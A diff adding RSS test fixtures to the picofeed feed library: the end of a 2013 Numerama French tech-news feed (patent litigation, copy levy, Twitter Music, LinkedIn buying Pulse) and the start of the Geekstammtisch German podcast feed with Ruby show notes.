+<channel>
+<link rel="self" href="http://fulltextrssfeed.com/www.numerama.com/rss/news.rss" xmlns="http://www.w3.org/2005/Atom" />
+<title>Numerama.com - Magazine</title>
+<link>http://www.numerama.com/</link>
+<description>Actualite informatique et numerique // via fulltextrssfeed.com</description>
+<item>
+<link>http://www.numerama.com/magazine/25669-brevets-un-juge-doute-de-la-bonne-volonte-de-google-et-apple.html</link>
+<guid isPermaLink="true" >http://www.numerama.com/magazine/25669-brevets-un-juge-doute-de-la-bonne-volonte-de-google-et-apple.html</guid>
+<title>Brevets : un juge doute de la bonne volonté de Google et Apple</title>
+<pubDate>Fri, 12 Apr 2013 15:38:15 +0000</pubDate>
+<description>&lt;div id=&quot;newstext&quot;&gt;
+&lt;p&gt;&lt;span&gt;&lt;img alt=&quot;&quot; src=&quot;http://www.numerama.com/media/attach/classaction.jpg&quot; class=&quot;c50&quot;/&gt; Apple et Google souhaitent-ils vraiment en finir avec leur interminable querelle engagée au nom de la propriété industrielle ? Robert Scola en doute. Juge fédéral officiant au tribunal de Miami, il a rédigé une ordonnance dans laquelle il s'interroge sur les buts réels poursuivis par les deux entreprises high-tech. Le magistrat les suspecte en effet de chercher à faire traîner la procédure.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;&quot;&lt;em&gt;Les deux parties n'ont aucun intérêt à résoudre efficacement et rapidement ce différend ; elles paraissent plutôt décidées à utiliser ce litige dans le monde entier comme une stratégie commerciale qui ne semble ne pas avoir de fin&lt;/em&gt;&quot;, a-t-il écrit, avant de considérer que cette manière de procéder n'est pas une utilisation convenable des moyens judiciaires.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;À ses yeux, cette attitude trahit donc une stratégie commerciale. Mais l'ordonnance de Robert Scola, consultée par &lt;a href=&quot;http://redirect.viglink.com?key=11fe087258b6fc0532a5ccfc924805c0&amp;u=http%3A%2F%2Fwww.bloomberg.com%2Fnews%2F2013-04-10%2Fapple-google-not-interested-in-settlement-judge-says.html&quot; target=&quot;_blank&quot;&gt;Bloomberg&lt;/a&gt;, ne s'arrête pas là. Le juge trouve en outre le comportement des deux firmes quelque peu cavalier. &quot;&lt;em&gt;Sans la moindre gêne, [elles] demandent maintenant au tribunal de nettoyer leur bazar en tenant une audience afin de diminuer la taille et la complexité de l'affaire. Le tribunal refuse cette suggestion&lt;/em&gt;&quot;.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;En conséquence, le juge laisse un délai de quatre mois à Google et Apple pour s'entendre. Si elles échouent à s'accorder, Robert Scola est prêt à suspendre la procédure indéfiniment, le temps que les deux entreprises trouvent une solution. Selon le juge, le litige porte sur 12 brevets. 180 réclamations ont été signalées et les deux groupes s'opposent sur plus de 100 termes.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;Depuis bientôt trois ans, les principales entreprises high-tech s'écharpent au nom de la propriété industrielle. Si certaines actions en justice sont vraisemblablement légitimes, d'autres en revanche sont déposées dans le seul but d'entraver les activités commerciales d'un concurrent. D'ailleurs, il n'est pas rare de lire des demandes de retrait visant un produit ou une gamme d'un rival.&lt;/span&gt;&lt;/p&gt;
+&lt;/div&gt;&lt;img src=&quot;http://pixel.quantserve.com/pixel/p-89EKCgBk8MZdE.gif&quot; border=&quot;0&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
+</item>
+<item>
+<link>http://www.numerama.com/magazine/25671-la-taxe-copie-privee-remplacee-par-une-taxe-sur-la-high-tech.html</link>
+<guid isPermaLink="true" >http://www.numerama.com/magazine/25671-la-taxe-copie-privee-remplacee-par-une-taxe-sur-la-high-tech.html</guid>
+<title>La taxe copie privée remplacée par une taxe sur la high-tech ?</title>
+<pubDate>Fri, 12 Apr 2013 15:15:20 +0000</pubDate>
+<description>&lt;div id=&quot;newstext&quot;&gt;
+&lt;p&gt;&lt;span&gt;Pierre Lescure va-t-il complètement chambouler le fonctionnement de la rémunération copie privée, qui permet aux ayants droit d'encaisser collectivement près de 200 millions d'euros par an ? Au moment où la Commission Européenne menace d&lt;a href=&quot;http://redirect.viglink.com?key=11fe087258b6fc0532a5ccfc924805c0&amp;u=http%3A%2F%2Fwww.numerama.com%2Fmagazine%2F24998-l-harmonisation-europeenne-de-la-copie-privee-rejetee-par-les-ayants-droit.html&quot;&gt;'imposer une harmonisation des taux&lt;/a&gt; qui serait défavorable aux industries culturelles françaises, où &lt;a href=&quot;http://redirect.viglink.com?key=11fe087258b6fc0532a5ccfc924805c0&amp;u=http%3A%2F%2Fwww.numerama.com%2Fmagazine%2F24785-copie-privee-le-conseil-constitutionnel-sanctionne-l-abus-de-pouvoir.html&quot;&gt;la commission copie privée vole en éclats&lt;/a&gt;, et où il apparaît très difficile de trouver les textes juridiques permettant de &lt;a href=&quot;http://redirect.viglink.com?key=11fe087258b6fc0532a5ccfc924805c0&amp;u=http%3A%2F%2Fwww.numerama.com%2Fmagazine%2F24097-le-cloud-permet-des-copies-privees-qu-il-faut-taxer-tranche-le-cspla.html&quot;&gt;taxer le cloud au nom d'une copie privée&lt;/a&gt; qui n'existe plus vraiment, l'ancien patron de Canal+ pourrait proposer une solution que la plupart des ayants droit applaudiront des deux mains.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;En effet, selon le site &lt;a href=&quot;http://redirect.viglink.com?key=11fe087258b6fc0532a5ccfc924805c0&amp;u=http%3A%2F%2Felectronlibre.info%2Fla-copie-privee-la-grosse-reforme-mijotee-par-pierre-lescure%2F&quot; target=&quot;_blank&quot;&gt;Electron Libre&lt;/a&gt; (sur abonnement), Pierre Lescure pourrait proposer de supprimer techniquement la rémunération pour copie privée, pour la remplacer par une véritable taxe au sens fiscal du terme, assise sur le chiffre d'affaires des industries high-tech. L'actuelle commission copie privée, qui ne sert que d'arène d'affrontements entre ayants droit, industriels et consommateurs, serait alors supprimée.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;&quot;&lt;em&gt;A la place, la mission préconise un comité, sorte de commission réduite aux seules organisations de perceptions et de répartition qui conserveraient comme prérogative les clefs de répartition de la collecte&lt;/em&gt;&quot;, précise Electron Libre. En clair, l'impôt serait prélevé au bénéfice de l'industrie du disque et du cinéma, selon des clés déterminées par l'Etat, et c'est l'industrie elle-même qui se partagerait les fruits.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;&quot;&lt;em&gt;Le cabinet d’Aurélie Filippeti est favorable à cette réforme, la DGmic (direction générale des médias et des industries culturelles, ndlr) aussi, et quelques uns des ayants-droit concernés&lt;/em&gt;&quot;, assurent nos confrères. Seule la Sacem aurait émis des réserves, peut-être parce qu'elle craint de perdre le rôle clé qu'elle détient au sein de la commission copie privée.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;Electron Libre dit même que les industries high-tech seraient &quot;&lt;em&gt;plutôt rassurés, car la taxe nouvelle s’appliquerait sur l’ensemble de leur activité&lt;/em&gt;&quot;, de façon lisse, et pas uniquement sur les seuls produits éligibles à la rémunération copie privée. Actuellement par exemple, les ordinateurs de bureau ne sont pas taxés, mais les tablettes le sont.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;Notons que si cette idée, qui semble difficile à mettre en oeuvre, voyait réellement le jour, elle ferait peser un risque juridique sur l'existence-même du droit à la copie privée. En effet, le Conseil constitutionnel impose que le bénéfice de l'exception au droit d'auteur pour copie privée soit indemnisé par une rémunération. Donc si la taxe est déconnectée de la copie privée, l'exception copie privée n'existerait plus. &lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;Réponse le 6 mai prochain, &lt;a href=&quot;http://redirect.viglink.com?key=11fe087258b6fc0532a5ccfc924805c0&amp;u=http%3A%2F%2Fwww.numerama.com%2Fmagazine%2F25605-pierre-lescure-retarde-au-6-mai-son-rapport-sur-l-exception-culturelle.html&quot;&gt;quand Pierre Lescure rendra son rapport post-Hadopi&lt;/a&gt;.&lt;/span&gt;&lt;/p&gt;
+&lt;/div&gt;&lt;img src=&quot;http://pixel.quantserve.com/pixel/p-89EKCgBk8MZdE.gif&quot; border=&quot;0&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
+</item>
+<item>
+<link>http://www.numerama.com/magazine/25668-l-affiche-de-la-taxe-d-eco-participation-prolonge-jusqu-en-2020.html</link>
+<guid isPermaLink="true" >http://www.numerama.com/magazine/25668-l-affiche-de-la-taxe-d-eco-participation-prolonge-jusqu-en-2020.html</guid>
+<title>L'affiche de la taxe d'éco-participation prolongé jusqu'en 2020</title>
+<pubDate>Fri, 12 Apr 2013 14:50:45 +0000</pubDate>
+<description>&lt;div id=&quot;newstext&quot;&gt;
+&lt;p&gt;&lt;span&gt;&lt;img align=&quot;right&quot; alt=&quot;&quot; hspace=&quot;10&quot; src=&quot;http://www.numerama.com/media/attach/200px-Recycling_symbol2.svg.png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;En matière de taxes, rares sont les dispositifs provisoires qui ne deviennent pas définitifs. Mais pour une fois, l'application de l'adage devrait être bien accepté par les consommateurs, avec l'adoption de la &lt;a href=&quot;http://redirect.viglink.com?key=11fe087258b6fc0532a5ccfc924805c0&amp;u=http%3A%2F%2Fwww.assemblee-nationale.fr%2F14%2Fpropositions%2Fpion0715.asp&quot; target=&quot;_blank&quot;&gt;proposition de loi&lt;/a&gt; socialiste &quot;&lt;em&gt;relative à la prorogation du mécanisme de l'éco-participation répercutée à l'identique et affichée pour les équipements électriques et électroniques ménagers&lt;/em&gt;&quot;.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;Jeudi, les sénateurs ont en effet adopté un texte qui avait été voté par l'Assemblée Nationale le 12 février dernier, qui prévoit comme son intitulé l'indique de reconduire l'affichage de la taxe d'éco-participation, prélevée notamment sur les écrans et téléviseurs, et autres appareils électroniques. La proposition de loi ayant été votée à l'identique dans les deux chambres lors de sa première lecture, elle pourra être immédiatement promulguée.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;Lorsqu'il est entré en vigueur en 2006, le dispositif d'éco-participation créé par l'&lt;a href=&quot;http://redirect.viglink.com?key=11fe087258b6fc0532a5ccfc924805c0&amp;u=http%3A%2F%2Fwww.legifrance.gouv.fr%2FaffichCodeArticle.do%3Bjsessionid%3D28285FDD520E60261CFBFA8C53A85DC9.tpdjo07v_1%3FidArticle%3DLEGIARTI000025144834%26amp%3BcidTexte%3DLEGITEXT000006074220%26amp%3BcategorieLien%3Did%26amp%3BdateTexte%3D20130701&quot; target=&quot;_blank&quot;&gt;article L514-10-2&lt;/a&gt; du code de l'environnement prévoyait que le montant de la contribution prélevée sur &quot;tout nouvel équipement électrique et électronique ménager&quot; ne soit affiché aux consommateurs que jusqu'au 13 février 2013. La nouvelle loi étend le dispositif jusqu'au 1er janvier 2020, et conserve le principe selon lequel &quot;&lt;em&gt;le coût unitaire supporté pour la gestion des déchets collectés sélectivement issus des équipements électriques et électroniques ménagers mis sur le marché avant le 13 août 2005 (...) est strictement égal au coût de la gestion desdits déchets&lt;/em&gt;&quot;. Elle impose que ce coût soit répercuté à l'identique jusqu'au client final.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;En 2011, selon un rapport de l'Ademe, 193 millions d'euros ont été perçus par les quatre éco-organismes à but non-lucratif agréés par les pouvoirs publics :  Eco-systèmes, Ecologic et ERP et Récylum (ce dernier étant spécialisé dans les lampes usagées). 448 000 tonnes ont été collectées, soit 6,9 kg par habitant. &lt;/span&gt;&lt;/p&gt;
+&lt;/div&gt;&lt;img src=&quot;http://pixel.quantserve.com/pixel/p-89EKCgBk8MZdE.gif&quot; border=&quot;0&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
+</item>
+<item>
+<link>http://www.numerama.com/magazine/25667-twitter-music-est-officiel.html</link>
+<guid isPermaLink="true" >http://www.numerama.com/magazine/25667-twitter-music-est-officiel.html</guid>
+<title>Twitter Music est officiel</title>
+<pubDate>Fri, 12 Apr 2013 14:03:23 +0000</pubDate>
+<description>&lt;div&gt;
+
+&lt;p&gt;L'ouverture de Twitter Music est imminente. Sur le site web du réseau social, une page dédiée est disponible et il est d'ores et déjà possible d'autoriser l'application à accéder à son compte.&lt;/p&gt;
+&lt;/div&gt;&lt;div id=&quot;newstext&quot;&gt;
+&lt;p&gt;&lt;span&gt;&lt;img alt=&quot;&quot; src=&quot;http://www.numerama.com/media/attach/twittermusic.png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;Comme prévu, Twitter se lance dans la musique. Le réseau social a mis en ligne une page accessible à l'adresse &lt;a href=&quot;http://redirect.viglink.com?key=11fe087258b6fc0532a5ccfc924805c0&amp;u=https%3A%2F%2Fmusic.twitter.com%2F&quot; target=&quot;_blank&quot;&gt;music.twitter.com&lt;/a&gt;. La plateforme est pour l'instant inaccessible. Elle devrait toutefois ouvrir ses portes dans les prochaines heures. En attendant, il est d'ores et déjà possible d'autoriser le service &quot;Trending Music Web&quot; à accéder à son compte.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;Le mois dernier, nous avions signalé que le réseau social américain &lt;a href=&quot;http://redirect.viglink.com?key=11fe087258b6fc0532a5ccfc924805c0&amp;u=http%3A%2F%2Fwww.numerama.com%2Fmagazine%2F25400-twitter-developperait-une-application-musicale.html&quot;&gt;avait fait main basse sur We Are Hunted&lt;/a&gt;, une startup spécialisée dans la recommandation musicale. Le service devrait être utilisable depuis un navigateur web, mais également via une application mobile. Une application iOS serait d'ores et déjà prête, tandis que celle prévue pour Android arriverait prochainement.&lt;/span&gt;&lt;/p&gt;
+&lt;/div&gt;&lt;img src=&quot;http://pixel.quantserve.com/pixel/p-89EKCgBk8MZdE.gif&quot; border=&quot;0&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
+</item>
+<item>
+<link>http://www.numerama.com/magazine/25666-bruxelles-rejette-la-plainte-de-sfr-sur-l-itinerance-entre-orange-et-free.html</link>
+<guid isPermaLink="true" >http://www.numerama.com/magazine/25666-bruxelles-rejette-la-plainte-de-sfr-sur-l-itinerance-entre-orange-et-free.html</guid>
+<title>Bruxelles rejette la plainte de SFR sur l'itinérance entre Orange et Free</title>
+<pubDate>Fri, 12 Apr 2013 13:49:23 +0000</pubDate>
+<description>&lt;div id=&quot;newstext&quot;&gt;
+&lt;p&gt;&lt;span&gt;&lt;img alt=&quot;&quot; src=&quot;http://www.numerama.com/media/attach/nouveau-logo-sfr.jpg&quot; class=&quot;c50&quot;/&gt; C'est une épine de moins dans le pied de Free. La Commission européenne a balayé le recours déposé par SFR, &lt;a href=&quot;http://redirect.viglink.com?key=11fe087258b6fc0532a5ccfc924805c0&amp;u=http%3A%2F%2Fwww.numerama.com%2Fmagazine%2F24553-l-itinerance-entre-orange-et-free-attaquee-par-sfr-a-bruxelles.html&quot;&gt;qui tentait d'invalider&lt;/a&gt; le contrat d'itinérance mobile signé entre Orange et le jeune opérateur mobile. La filiale de Vivendi avait opté pour une thèse audacieuse, puisqu'elle cherchait à démontrer la capacité, pour l'opérateur historique, de contrôler son partenaire.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;&quot;&lt;em&gt;La Commission a classé cette plainte&lt;/em&gt;&quot;, a confié une porte-parole à &lt;a href=&quot;http://redirect.viglink.com?key=11fe087258b6fc0532a5ccfc924805c0&amp;u=http%3A%2F%2Fwww.bfmtv.com%2Feconomie%2Fexclusif-bruxelles-rejette-plainte-sfr-contre-orange-free-490258.html&quot; target=&quot;_blank&quot;&gt;BFM&lt;/a&gt;. &quot;&lt;em&gt;Nous sommes arrivés à la conclusion que ce contrat d'itinérance n'était pas un rachat tel que défini dans le droit des rachats&lt;/em&gt;&quot;. Cependant, la tactique inhabituelle employée par SFR pour contester le contrat d'itinérance entre Orange et Dree a conduit certains observateurs à s'interroger sur les buts réels poursuivis par l'opérateur.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;L'accord entre Orange et Free est en effet confidentiel. Seuls les deux parties connaissent chaque modalité des liens qui les unissent. Or, c'est cette opacité que dénonçait Jean-Bernard Lévy, l'ancien président du directoire de Vivendi. &lt;a href=&quot;http://redirect.viglink.com?key=11fe087258b6fc0532a5ccfc924805c0&amp;u=http%3A%2F%2Fwww.numerama.com%2Fmagazine%2F18205-free-et-orange-signent-un-accord-d-itinerance-pour-le-mobile.html&quot;&gt;Signé en mars 2011&lt;/a&gt;, cet accord permet à Free de louer les infrastructures d'Orange pour faire transiter les communications en 2G et 3G et offrir une couverture similaire à celle d'Orange.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;Si SFR n'a pas réussi à casser le partenariat entre Orange et Free, ni même à en exposer le détail, l'opérateur peut au moins se consoler sur un point : celui-ci n'a pas &lt;a href=&quot;http://redirect.viglink.com?key=11fe087258b6fc0532a5ccfc924805c0&amp;u=http%3A%2F%2Fwww.numerama.com%2Fmagazine%2F23181-orange-l-itinerance-avec-free-mobile-n-a-pas-vocation-a-rester-eternelle.html&quot;&gt;vocation à durer éternellement&lt;/a&gt;. Il a même une date de fin : 2018. À cette date, Free Mobile devra exclusivement compter sur son propre réseau pour acheminer les télécommunications de ses clients. Et pour l'instant, le &lt;a href=&quot;http://redirect.viglink.com?key=11fe087258b6fc0532a5ccfc924805c0&amp;u=http%3A%2F%2Fwww.numerama.com%2Fmagazine%2F25654-free-mobile-couvre-pratiquement-un-francais-sur-deux-selon-l-arcep.html&quot;&gt;déploiement suit son cours&lt;/a&gt;.&lt;/span&gt;&lt;/p&gt;
+&lt;/div&gt;&lt;img src=&quot;http://pixel.quantserve.com/pixel/p-89EKCgBk8MZdE.gif&quot; border=&quot;0&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
+</item>
+<item>
+<link>http://www.numerama.com/magazine/25664-linkedin-s-approprie-l-agregateur-pulse-pour-90-millions-de-dollars.html</link>
+<guid isPermaLink="true" >http://www.numerama.com/magazine/25664-linkedin-s-approprie-l-agregateur-pulse-pour-90-millions-de-dollars.html</guid>
+<title>LinkedIn s'approprie l'agrégateur Pulse pour 90 millions de dollars</title>
+<pubDate>Fri, 12 Apr 2013 12:37:22 +0000</pubDate>
+<description>&lt;div id=&quot;newstext&quot;&gt;
+&lt;p&gt;&lt;span&gt;&lt;img alt=&quot;&quot; src=&quot;http://www.numerama.com/media/attach/pulselinkedin.png&quot; class=&quot;c50&quot;/&gt; LinkedIn fait son entrée dans le petit monde des agrégateurs. Le réseau social américain vient en effet de s'emparer de Pulse, une plateforme conçue par Alphonso Labs qui permet d'agglomérer divers flux d'information. Et le site spécialisé dans les relations professionnelles n'a pas hésité à y mettre le prix : pour prendre le contrôle du service, LinkedIn &lt;a href=&quot;http://redirect.viglink.com?key=11fe087258b6fc0532a5ccfc924805c0&amp;u=http%3A%2F%2Fwww.lightreading.com%2Flinkedin-to-mobilize-content-with-90m-pulse-acquistion%2F240152799&quot; target=&quot;_blank&quot;&gt;va débourser&lt;/a&gt; 90 millions de dollars.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;Cette acquisition ne changera absolument rien pour les usagers de Pulse. Dans un &lt;a href=&quot;http://redirect.viglink.com?key=11fe087258b6fc0532a5ccfc924805c0&amp;u=http%3A%2F%2Fblog.pulse.me%2Fpost%2F47721164686%2Fpulse-joins-the-linkedin-family&quot; target=&quot;_blank&quot;&gt;communiqué&lt;/a&gt;, les responsables du projet assurent que les applications mobiles continueront de fonctionner comme autrefois. Du moins, pour l'instant. Il est assez évident que LinkedIn va chercher à intégrer parfaitement sa nouvelle prise au reste de son écosystème, quitte à modifier la plateforme.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;Fondé en 2010, Pulse est disponible sur iOS et Android. Le service peut également être utilisé depuis un navigateur web. Selon les statistiques fournies par LinkedIn, plus de 30 millions d'usagers utilisent Pulse, qui est disponible en neuf langues différentes. LinkedIn note en effet qu'une part importante des membres (40 %) se situe en dehors des États-Unis.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span&gt;L'achat de Pulse survient dans un contexte bien particulier. Google a en effet choisi &lt;a href=&quot;http://redirect.viglink.com?key=11fe087258b6fc0532a5ccfc924805c0&amp;u=http%3A%2F%2Fwww.numerama.com%2Fmagazine%2F25379-google-va-fermer-google-reader-le-1er-juillet.html&quot;&gt;de fermer Reader&lt;/a&gt; le 1er juillet prochain. En conséquence, les &lt;a href=&quot;http://redirect.viglink.com?key=11fe087258b6fc0532a5ccfc924805c0&amp;u=http%3A%2F%2Fwww.numerama.com%2Fmagazine%2F25398-la-disparition-prochaine-de-google-reader-agite-la-concurrence.html&quot;&gt;rivaux de l'agrégateur s'activent&lt;/a&gt; pour récupérer les anciens utilisateurs de la plateforme. Or, Pulse fait justement partie des alternatives qui sont recommandées par les médias et les internautes. Un point qui n'a pas dû échapper non plus à LinkedIn.&lt;/span&gt;&lt;/p&gt;
+&lt;/div&gt;&lt;img src=&quot;http://pixel.quantserve.com/pixel/p-89EKCgBk8MZdE.gif&quot; border=&quot;0&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
+</item>
+</channel>
+</rss> \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/fixtures/geekstammtisch.de_episodes.mp3.rss b/vendor/fguillot/picofeed/tests/fixtures/geekstammtisch.de_episodes.mp3.rss
new file mode 100644
index 000000000..84c7014b9
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/geekstammtisch.de_episodes.mp3.rss
@@ -0,0 +1,9428 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<rss xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:psc="http://podlove.org/simple-chapters" version="2.0">
+ <channel>
+ <title>Geekstammtisch</title>
+ <link>http://geekstammtisch.de</link>
+ <atom:link rel="self" href="http://geekstammtisch.de/episodes.mp3.rss" type="application/rss+xml" title="MP3 Audio"/>
+
+ <atom:link rel="alternate" href="http://geekstammtisch.de/episodes.m4a.rss" type="application/rss+xml" title="M4A Audio"/>
+
+ <atom:link rel="alternate" href="http://geekstammtisch.de/episodes.opus.rss" type="application/rss+xml" title="OPUS Audio"/>
+
+ <language>de-de</language>
+ <generator>gst-kitchen</generator>
+ <copyright>Dirk Breuer, Sebastian Cohnen, cc-by-nc-sa</copyright>
+ <itunes:subtitle>Das heimelige Nerdgespräch über Webentwicklung, Ruby/Rails und mehr</itunes:subtitle>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <managingEditor>alle@geekstammtisch.de (Dirk Breuer, Sebastian Cohnen)</managingEditor>
+ <itunes:summary>Mehr oder weniger regelmäßiger Stammtisch rund um Nerdthemen und Webdevelopment</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <description>Mehr oder weniger regelmäßiger Stammtisch rund um Nerdthemen und Webdevelopment</description>
+ <itunes:owner>
+ <itunes:name>Dirk Breuer, Sebastian Cohnen</itunes:name>
+ <itunes:email>alle@geekstammtisch.de</itunes:email>
+ </itunes:owner>
+
+ <itunes:image href="http://geekstammtisch.de/images/cover-2013-04-21.jpg"/>
+
+ <itunes:category text="Technology"/>
+ <itunes:category text="Technology">
+ <itunes:category text="Gadgets"/>
+ </itunes:category>
+ <itunes:category text="Technology">
+ <itunes:category text="Tech News"/>
+ </itunes:category>
+
+
+ <item>
+ <title>GST000 - Batteries Included</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Der Geekstammtisch stellt sich vor</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst000.mp3" length="30692371" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST000</guid>
+ <pubDate>Mon, 17 Dec 2012 19:02:58 +0100</pubDate>
+ <itunes:duration>00:42:27</itunes:duration>
+ <itunes:summary><![CDATA[### Geekstammtisch Publishing Prozess
+ * Inspiriert durch IGOR (https://github.com/m4p/fanboys-IGOR)
+ * https://github.com/tisba/gst-website
+ * https://github.com/tisba/gst-kitchen
+ * Aufnahmen, Auphonic (Processing, Metadaten), Auphonic API, Feed Rendern, rake deploy, fertig!
+
+### Ruby Compile Tricks (Performance!!11!1)
+ * http://alisnic.net/blog/making-your-ruby-fly
+ * http://spin.atomicobject.com/2012/11/06/is-your-application-running-with-ruby-slow/
+ * Falcon Patch (https://gist.github.com/1688857)
+ * Compile Flags auslesen aus einem gebauten Ruby: ruby -rpp -rrbconfig.rb -e "include RbConfig; pp CONFIG"
+
+## Ruby Upgrade mit RVM
+ * `rvm upgrade ruby-1.9.3-p286 ruby-1.9.3-p327`
+ * Installiert 1.9.3-p327 migriert alle gems und wirft die alte Ruby version
+ auch komplett weg, wenn gewünscht
+
+### Ruby Entwicklung
+ * Core-Developer aller Implementierungen haben sich im IRC getroffen
+ * Matz behält sich das Recht vor, Dinge alleine zu entscheiden: “I’m not going to stop being the dictator but I want you guys to participate in the process of improving the languageâ€
+ * Offene Fragen, u.a. ‘If an implementation can't implement something, is it not "ruby"?’
+ * Hängt mit dem Talk von Brian Ford auf der RubyConf 2012 zusammen: http://www.confreaks.com/videos/1278-rubyconf2012-toward-a-design-for-ruby
+ * http://bugs.ruby-lang.org/projects/ruby/wiki/DevelopersMeeting20121210
+
+## gem picks
+ * `better_errors`: https://github.com/charliesome/better_errors
+ * schöne Rails/Rack Fehlerseiten mit REPL!!1!11
+ * benötigt für die REPL dark ruby magic von https://github.com/banister/binding_of_caller
+
+### Apps
+ * iStats Menu 3 mit Retina, Historie, Update für 7 EUR (http://bjango.com/mac/istatmenus/)
+ * Instacast 3, neue App, universal, eigener Sync Service (https://itunes.apple.com/de/app/instacast/id577056377?mt=8&affId=1644991)
+
+## Best Practices
+ * Composition over Inheritance?! (http://en.wikipedia.org/wiki/Composition_over_inheritance)
+
+## Github's Gists in Neu und Bunt, schön :)
+ * Github Blog Post: https://github.com/blog/1276-welcome-to-a-new-gist
+
+## Events
+ * RailsGirls Followups erfolgreich
+ * Weiter geht's im März mit Rails Girls Rheinland in Monheim (http://railsgirls.com/rheinland)
+ * cologne.rb Weihnachtsmarkt Eddition im Dezember (Twitter @colognerb)]]></itunes:summary>
+ <description><![CDATA[<h3>Geekstammtisch Publishing Prozess</h3>
+
+<ul>
+<li>Inspiriert durch IGOR (<a href="https://github.com/m4p/fanboys-IGOR">https://github.com/m4p/fanboys-IGOR</a>)</li>
+<li><a href="https://github.com/tisba/gst-website">https://github.com/tisba/gst-website</a></li>
+<li><a href="https://github.com/tisba/gst-kitchen">https://github.com/tisba/gst-kitchen</a></li>
+<li>Aufnahmen, Auphonic (Processing, Metadaten), Auphonic API, Feed Rendern, rake deploy, fertig!</li>
+</ul>
+
+<h3>Ruby Compile Tricks (Performance!!11!1)</h3>
+
+<ul>
+<li><a href="http://alisnic.net/blog/making-your-ruby-fly">http://alisnic.net/blog/making-your-ruby-fly</a></li>
+<li><a href="http://spin.atomicobject.com/2012/11/06/is-your-application-running-with-ruby-slow/">http://spin.atomicobject.com/2012/11/06/is-your-application-running-with-ruby-slow/</a></li>
+<li>Falcon Patch (<a href="https://gist.github.com/1688857">https://gist.github.com/1688857</a>)</li>
+<li>Compile Flags auslesen aus einem gebauten Ruby: ruby -rpp -rrbconfig.rb -e &quot;include RbConfig; pp CONFIG&quot;</li>
+</ul>
+
+<h2>Ruby Upgrade mit RVM</h2>
+
+<ul>
+<li><code>rvm upgrade ruby-1.9.3-p286 ruby-1.9.3-p327</code></li>
+<li>Installiert 1.9.3-p327 migriert alle gems und wirft die alte Ruby version
+auch komplett weg, wenn gewünscht</li>
+</ul>
+
+<h3>Ruby Entwicklung</h3>
+
+<ul>
+<li>Core-Developer aller Implementierungen haben sich im IRC getroffen</li>
+<li>Matz behält sich das Recht vor, Dinge alleine zu entscheiden: “I’m not going to stop being the dictator but I want you guys to participate in the process of improving the languageâ€</li>
+<li>Offene Fragen, u.a. ‘If an implementation can&#39;t implement something, is it not &quot;ruby&quot;?’</li>
+<li>Hängt mit dem Talk von Brian Ford auf der RubyConf 2012 zusammen: <a href="http://www.confreaks.com/videos/1278-rubyconf2012-toward-a-design-for-ruby">http://www.confreaks.com/videos/1278-rubyconf2012-toward-a-design-for-ruby</a></li>
+<li><a href="http://bugs.ruby-lang.org/projects/ruby/wiki/DevelopersMeeting20121210">http://bugs.ruby-lang.org/projects/ruby/wiki/DevelopersMeeting20121210</a></li>
+</ul>
+
+<h2>gem picks</h2>
+
+<ul>
+<li><code>better_errors</code>: <a href="https://github.com/charliesome/better_errors">https://github.com/charliesome/better_errors</a>
+
+<ul>
+<li>schöne Rails/Rack Fehlerseiten mit REPL!!1!11</li>
+<li>benötigt für die REPL dark ruby magic von <a href="https://github.com/banister/binding_of_caller">https://github.com/banister/binding_of_caller</a></li>
+</ul></li>
+</ul>
+
+<h3>Apps</h3>
+
+<ul>
+<li>iStats Menu 3 mit Retina, Historie, Update für 7 EUR (<a href="http://bjango.com/mac/istatmenus/">http://bjango.com/mac/istatmenus/</a>)</li>
+<li>Instacast 3, neue App, universal, eigener Sync Service (<a href="https://itunes.apple.com/de/app/instacast/id577056377?mt=8&amp;affId=1644991">https://itunes.apple.com/de/app/instacast/id577056377?mt=8&amp;affId=1644991</a>)</li>
+</ul>
+
+<h2>Best Practices</h2>
+
+<ul>
